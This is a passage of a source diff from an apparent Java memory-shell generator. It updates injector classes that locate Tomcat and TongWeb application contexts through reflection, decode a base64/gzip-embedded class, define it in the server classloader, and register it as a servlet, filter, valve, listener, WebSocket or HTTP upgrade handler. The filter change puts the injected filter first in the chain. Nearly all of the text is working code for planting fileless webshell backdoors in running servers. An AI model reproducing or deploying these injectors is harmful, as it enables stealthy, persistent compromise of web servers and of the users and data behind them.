+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
             }
         }
         return contexts;
     }
 
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
     private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java

@@ -8,8 +8,7 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.List;
+import java.util.HashSet;
 import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -20,7 +19,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class TomcatServletInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -35,16 +35,21 @@ public class TomcatServletInjector {
     }
 
     public TomcatServletInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -53,9 +58,47 @@ public class TomcatServletInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
     @SuppressWarnings("all")
     private String getContextRoot(Object context) {
         String r = null;
@@ -73,25 +116,6 @@ public class TomcatServletInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object value : childrenMap.values()) {
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                    contexts.addAll(children.values());
-                }
-            } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
-            }
-        }
-        return contexts;
-    }
-
     private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java

@@ -0,0 +1,234 @@
+package com.reajason.javaweb.memshell.injector.tomcat;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.PrintStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ */
+public class TomcatUpgradeInjector {
+
+    private static String msg = "";
+    private static boolean ok = false;
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() {
+        return "{{base64Str}}";
+    }
+
+    public TomcatUpgradeInjector() {
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
+        try {
+            contexts = getContext();
+        } catch (Throwable throwable) {
+            msg += "context error: " + getErrorMessage(throwable);
+        }
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
+            for (Object context : contexts) {
+                try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
+                    Object shell = getShell(context);
+                    inject(context, shell);
+                    msg += "[/*] ready\n";
+                } catch (Throwable e) {
+                    msg += "failed " + getErrorMessage(e) + "\n";
+                }
+            }
+        }
+        ok = true;
+        System.out.println(msg);
+    }
+
+    /**
+     * org.apache.catalina.core.StandardContext
+     * /usr/local/tomcat/server/lib/catalina.jar
+     */
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
+    @SuppressWarnings("all")
+    private String getContextRoot(Object context) {
+        String r = null;
+        try {
+            r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
+        } catch (Exception ignored) {
+        }
+        String c = context.getClass().getName();
+        if (r == null) {
+            return c;
+        }
+        if (r.isEmpty()) {
+            return c + "(/)";
+        }
+        return c + "(" + r + ")";
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = context.getClass().getClassLoader();
+        Class<?> clazz = null;
+        try {
+            clazz = classLoader.loadClass(getClassName());
+        } catch (Exception e) {
+            byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+            Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+        }
+        msg += "[" + classLoader.getClass().getName() + "] ";
+        return clazz.newInstance();
+    }
+
+    @SuppressWarnings("all")
+    public void inject(Object context, Object shell) throws Exception {
+        Object engine = getFieldValue(getFieldValue(context, "parent"), "parent");
+        Object service = getFieldValue(engine, "service");
+        Object connector = ((Object[]) getFieldValue(service, "connectors"))[0];
+        Object protocolHandler = getFieldValue(connector, "protocolHandler");
+        Map<String, Object> httpUpgradeProtocols = ((Map<String, Object>) getFieldValue(protocolHandler, "httpUpgradeProtocols"));
+        if (httpUpgradeProtocols.containsKey(getClassName())) {
+            return;
+        }
+        httpUpgradeProtocols.put(getClassName(), shell);
+    }
+
+    @Override
+    public String toString() {
+        return msg;
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } finally {
+            if (gzipInputStream != null) {
+                gzipInputStream.close();
+            }
+            out.close();
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
+            try {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws Exception {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
+            try {
+                Field field = clazz.getDeclaredField(name);
+                field.setAccessible(true);
+                return field.get(obj);
+            } catch (NoSuchFieldException var5) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+    @SuppressWarnings("all")
+    private String getErrorMessage(Throwable throwable) {
+        PrintStream printStream = null;
+        try {
+            ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+            printStream = new PrintStream(outputStream);
+            throwable.printStackTrace(printStream);
+            return outputStream.toString();
+        } finally {
+            if (printStream != null) {
+                printStream.close();
+            }
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java

@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class TomcatValveInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -25,16 +26,21 @@ public class TomcatValveInjector {
     }
 
     public TomcatValveInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -43,9 +49,47 @@ public class TomcatValveInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
     @SuppressWarnings("all")
     private String getContextRoot(Object context) {
         String r = null;
@@ -63,25 +107,6 @@ public class TomcatValveInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object value : childrenMap.values()) {
-                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
-                    contexts.addAll(children.values());
-                }
-            } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
-            }
-        }
-        return contexts;
-    }
-
     @SuppressWarnings("all")
     private Object getShell(Object context) throws Exception {
         ClassLoader classLoader = context.getClass().getClassLoader();

generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

@@ -7,9 +7,8 @@ import java.io.PrintStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
+import java.util.HashSet;
+import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
@@ -19,7 +18,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class TomcatWebSocketInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -34,16 +34,21 @@ public class TomcatWebSocketInjector {
     }
 
     public TomcatWebSocketInjector() {
-        List<Object> contexts = null;
+        if (ok) {
+            return;
+        }
+        Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -52,9 +57,47 @@ public class TomcatWebSocketInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
+    public Set<Object> getContext() throws Exception {
+        Set<Object> contexts = new HashSet<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            String threadName = thread.getName();
+            if (threadName.contains("ContainerBackgroundProcessor")) {
+                Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
+                for (Object value : childrenMap.values()) {
+                    Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                    contexts.addAll(children.values());
+                }
+            } else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
+                try {
+                    Object proto = getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "handler"), "proto");
+                    Object engine = getFieldValue(getFieldValue(getFieldValue(getFieldValue(proto, "adapter"), "connector"), "service"), "engine");
+                    Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(engine, "children");
+                    for (Object value : childrenMap.values()) {
+                        Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
+                        contexts.addAll(children.values());
+                    }
+                } catch (Exception ignored) {
+                }
+            } else if (thread.getContextClassLoader() != null) {
+                String name = thread.getContextClassLoader().getClass().getSimpleName();
+                if (name.matches(".+WebappClassLoader")) {
+                    Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                    // need WebResourceRoot not DirContext
+                    if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                        Object context = getFieldValue(resources, "context");
+                        contexts.add(context);
+                    }
+                }
+            }
+        }
+        return contexts;
+    }
+
     @SuppressWarnings("all")
     private String getContextRoot(Object context) {
         String r = null;
@@ -72,25 +115,6 @@ public class TomcatWebSocketInjector {
         return c + "(" + r + ")";
     }
 
-    public List<Object> getContext() throws Exception {
-        List<Object> contexts = new ArrayList<Object>();
-        Set<Thread> threads = Thread.getAllStackTraces().keySet();
-        for (Thread thread : threads) {
-            if (thread.getName().contains("ContainerBackgroundProcessor")) {
-                HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
-                for (Object value : childrenMap.values()) {
-                    HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
-                    contexts.addAll(children.values());
-                }
-            } else if (thread.getContextClassLoader() != null
-                    && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
-                    || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
-                contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
-            }
-        }
-        return contexts;
-    }
-
     private ClassLoader getWebAppClassLoader(Object context) {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java

@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
+import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
@@ -18,7 +19,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class TongWebFilterInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getUrlPattern() {
         return "{{urlPattern}}";
@@ -33,16 +35,21 @@ public class TongWebFilterInjector {
     }
 
     public TongWebFilterInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[" + getUrlPattern() + "] ready\n";
@@ -51,6 +58,7 @@ public class TongWebFilterInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -80,7 +88,7 @@ public class TongWebFilterInjector {
      * /opt/tweb8/version8.0.6.2/tongweb-web.jar
      */
     public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<>();
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             try {
@@ -91,9 +99,16 @@ public class TongWebFilterInjector {
                         Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
                         contexts.addAll(children.values());
                     }
-                } else if (thread.getContextClassLoader() != null
-                        && thread.getContextClassLoader().getClass().getSimpleName().equals("TongWebWebappClassLoader")) {
-                    contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context"));
+                } else if (thread.getContextClassLoader() != null) {
+                    String name = thread.getContextClassLoader().getClass().getSimpleName();
+                    if (name.matches(".+WebappClassLoader")) {
+                        Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
+                        // need WebResourceRoot not DirContext
+                        if (resources != null && resources.getClass().getName().endsWith("Root")) {
+                            Object context = getFieldValue(resources, "context");
+                            contexts.add(context);
+                        }
+                    }
                 }
             }catch (Exception ignored) {
 
@@ -102,7 +117,7 @@ public class TongWebFilterInjector {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -135,24 +150,28 @@ public class TongWebFilterInjector {
         String filterClassName = getClassName();
         Object filterDef;
         Object filterMap;
+        Class<?> filterMapClass;
         Constructor<?> constructor;
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         try {
             // tongweb 7
             constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
             filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
-            filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
+            filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
+            filterMap = filterMapClass.newInstance();
         } catch (Exception e2) {
             try {
                 // tongweb 6
                 constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
                 filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
-                filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
+                filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
+                filterMap = filterMapClass.newInstance();
             } catch (Exception e) {
                 // tongweb 8
                 constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
                 filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
-                filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
+                filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
+                filterMap = filterMapClass.newInstance();
             }
         }
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
@@ -160,7 +179,13 @@ public class TongWebFilterInjector {
         invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
         invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
         invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
-        invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+
+        // addFilterMapFirst
+        Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
+        Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
+        results[0] = filterMap;
+        System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
+        setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
 
         constructor.setAccessible(true);
         Object filterConfig = constructor.newInstance(context, filterDef);
@@ -207,48 +232,58 @@ public class TongWebFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
-        try {
-            Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
-            Method method = null;
-            while (clazz != null && method == null) {
-                try {
-                    if (paramClazz == null) {
-                        method = clazz.getDeclaredMethod(methodName);
-                    } else {
-                        method = clazz.getDeclaredMethod(methodName, paramClazz);
-                    }
-                } catch (NoSuchMethodException e) {
-                    clazz = clazz.getSuperclass();
-                }
-            }
-            if (method == null) {
-                throw new NoSuchMethodException("Method not found: " + methodName);
-            }
-
-            method.setAccessible(true);
-            return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
-        Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
+        Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
+        Method method = null;
+        while (clazz != null && method == null) {
             try {
-                Field field = clazz.getDeclaredField(name);
-                field.setAccessible(true);
-                return field.get(obj);
-            } catch (NoSuchFieldException var5) {
+                if (paramClazz == null) {
+                    method = clazz.getDeclaredMethod(methodName);
+                } else {
+                    method = clazz.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
                 clazz = clazz.getSuperclass();
             }
         }
+        if (method == null) {
+            throw new NoSuchMethodException("Method not found: " + methodName);
+        }
+        method.setAccessible(true);
+        return method.invoke(obj instanceof Class ? null : obj, param);
+    }
+
+
+    @SuppressWarnings("all")
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
 
 
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        Field field = getField(obj, name);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+
     @SuppressWarnings("all")
     private String getErrorMessage(Throwable throwable) {
         PrintStream printStream = null;

generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java

@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
  */
 public class TongWebListenerInjector {
 
-    private String msg = "";
+    private static String msg = "";
+    private static boolean ok = false;
 
     public String getClassName() {
         return "{{className}}";
@@ -25,16 +26,21 @@ public class TongWebListenerInjector {
     }
 
     public TongWebListenerInjector() {
+        if (ok) {
+            return;
+        }
         Set<Object> contexts = null;
         try {
             contexts = getContext();
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts != null) {
+        if (contexts == null || contexts.isEmpty()) {
+            msg += "context not found";
+        } else {
             for (Object context : contexts) {
-                msg += ("context: [" + getContextRoot(context) + "] ");
                 try {
+                    msg += ("context: [" + getContextRoot(context) + "] ");
                     Object shell = getShell(context);
                     inject(context, shell);
                     msg += "[/*] ready\n";
@@ -43,6 +49,7 @@ public class TongWebListenerInjector {
                 }
             }
         }
+        ok = true;
         System.out.println(msg);
     }
 
@@ -64,7 +71,7 @@ public class TongWebListenerInjector {
     }
 
     public Set<Object> getContext() throws Exception {
-        Set<Object> contexts = new HashSet<>();
+        Set<Object> contexts = new HashSet<Object>();
         Set<Thread> threads = Thread.getAllStackTraces().keySet();
         for (Thread thread : threads) {
             if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -74,15 +81,22 @@ public class TongWebListenerInjector {
                     Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
